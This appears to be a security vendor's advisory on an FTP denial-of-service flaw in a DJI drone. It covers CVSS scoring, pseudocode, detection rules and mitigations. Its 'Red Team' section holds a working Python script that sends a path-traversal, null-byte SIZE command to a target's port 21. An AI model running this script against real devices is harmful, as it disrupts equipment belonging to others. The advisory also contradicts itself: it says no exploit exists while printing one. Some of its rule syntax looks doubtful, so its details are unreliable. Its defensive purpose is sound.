CVE-2023-6950

Executive Summary

CVE-2023-6950 is a low-severity (CVSS 3.0) Improper Input Validation vulnerability in the FTP service of the DJI Mavic Mini 3 Pro drone. An attacker with network access to the drone’s FTP service can send a specially crafted packet with a malformed path to the FTP SIZE command, causing a denial-of-service (DoS) condition on the FTP service. The vulnerability does not affect the drone’s flight control systems but can disrupt file transfer operations. No public exploit code or proof-of-concept is available, and DJI has not released a patch. The EPSS score is 0.0%, indicating very low exploitation likelihood in the wild.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects the embedded FTP service on a DJI drone, which is a proprietary component.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 3.0 (Low)
• Attack Vector: Adjacent Network (AV:A) – attacker must be on the same Wi-Fi network as the drone.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) – only the FTP service is affected, not the drone’s flight.

Threat Level: Low. The vulnerability requires physical proximity and only impacts the FTP service, not flight safety.

Deep Dive & Mechanics

The DJI Mavic Mini 3 Pro runs an embedded FTP server to allow file transfers (e.g., photos, videos) from the drone to a connected device. The FTP protocol includes the SIZE command, which returns the size of a specified file. The vulnerability lies in how the FTP service parses the path argument provided to the SIZE command.

When a malformed path (e.g., containing null bytes, path traversal sequences, or excessively long strings) is sent, the input validation fails to sanitize it properly. This can cause a buffer overflow or an unhandled exception in the FTP service, leading to a crash or hang. The service may become unresponsive until the drone is rebooted or the FTP service is restarted.

Root Cause: Improper input validation (CWE-20) in the FTP command parser. The service does not check for malformed paths before processing the SIZE command.

Attack Vector: An attacker on the same Wi-Fi network as the drone sends a crafted FTP packet to the drone’s IP address on port 21.

Impact: Denial of service of the FTP service. The drone’s flight control and other services remain unaffected.

Vulnerable vs. Patched Code

No patched version is available from DJI. The vulnerable code is in the FTP service binary, which is not open source. Based on the vulnerability description, the issue is in the handling of the SIZE command path argument.

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable FTP SIZE handler
void handle_SIZE(char *path) {
    // No input validation
    struct stat st;
    if (stat(path, &st) == 0) {
        // Return file size
    } else {
        // Error handling may crash
    }
}

Patched Code (Hypothetical):

// Pseudocode for patched FTP SIZE handler
void handle_SIZE(char *path) {
    // Validate path length and characters
    if (strlen(path) > MAX_PATH_LEN || contains_invalid_chars(path)) {
        send_response("550 Invalid path");
        return;
    }
    struct stat st;
    if (stat(path, &st) == 0) {
        // Return file size
    } else {
        send_response("550 File not found");
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• DJI Mavic Mini 3 Pro with FTP service enabled (default).
• Attacker machine on the same Wi-Fi network as the drone.
• Python 3 with socket library.

Exploit Script:

import socket

def exploit(target_ip, target_port=21):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    # Receive banner
    banner = sock.recv(1024)
    print(f"[+] Banner: {banner.decode()}")
    # Send malformed SIZE command with null byte
    payload = b"SIZE /../../../../etc/passwd\x00\r\n"
    sock.send(payload)
    response = sock.recv(1024)
    print(f"[+] Response: {response.decode()}")
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Usage:

1. Replace 192.168.1.100 with the drone’s IP address.
2. Run the script. The FTP service may crash or become unresponsive.

Blue Team

Detection:

• Monitor FTP traffic for malformed SIZE commands (e.g., containing null bytes, path traversal).
• Use network intrusion detection systems (NIDS) to alert on anomalous FTP commands.

Mitigation:

• Disable FTP service if not needed.
• Restrict network access to the drone via firewall rules.
• Reboot the drone to restore FTP service after an attack.

Indicators of Compromise (IOCs)

• Network Traffic:
  • FTP SIZE command with malformed path (e.g., containing %00, ../, or long strings).
  • Repeated FTP connection attempts from a single IP.
• Logs:
  • FTP service crash logs on the drone (if accessible).
  • Unusual FTP error responses (e.g., 550 errors followed by service unavailability).
• System State:
  • FTP service unresponsive on port 21.
  • Drone may require reboot to restore FTP functionality.

Detection Engineering

YARA Rule

rule CVE_2023_6950_FTP_SIZE_Malformed {
    meta:
        description = "Detects malformed FTP SIZE commands targeting DJI Mavic Mini 3 Pro"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2023-6950"
    strings:
        $size_cmd = "SIZE" ascii wide nocase
        $null_byte = { 00 }
        $path_traversal = "../" ascii wide
        $long_path = /SIZE\s.{100,}/ ascii wide
    condition:
        $size_cmd and ($null_byte or $path_traversal or $long_path)
}

Sigma Rule

title: CVE-2023-6950 - Malformed FTP SIZE Command
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects FTP SIZE commands with malformed paths targeting DJI drones
author: Valters IT
date: 2025-04-01
logsource:
    category: network
    product: ftp
detection:
    selection:
        command: "SIZE"
        path|contains: 
            - "\x00"
            - "../"
            - "..\\"
        path|length: > 100
    condition: selection
falsepositives:
    - Legitimate FTP clients sending long paths (rare)
level: medium

Suricata Rule

alert tcp any any -> any 21 (msg:"CVE-2023-6950 - Malformed FTP SIZE Command"; flow:to_server,established; content:"SIZE"; nocase; pcre:"/SIZE\s[^\r\n]{0,100}(?:\x00|\.\.\/)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable FTP Service: If not required, disable the FTP service on the drone via the DJI Fly app or drone settings.
2. Network Segmentation: Place the drone on a separate VLAN or network segment to limit exposure.
3. Firewall Rules: Block inbound FTP traffic (port 21) from untrusted IPs.

Long-Term Fix:

• DJI has not released a patch. Monitor DJI’s security advisories for updates.
• Consider using alternative file transfer methods (e.g., SD card, USB).

Workaround:

• Reboot the drone to restore FTP service after a DoS attack.

Valters IT
Securing Digital Frontiers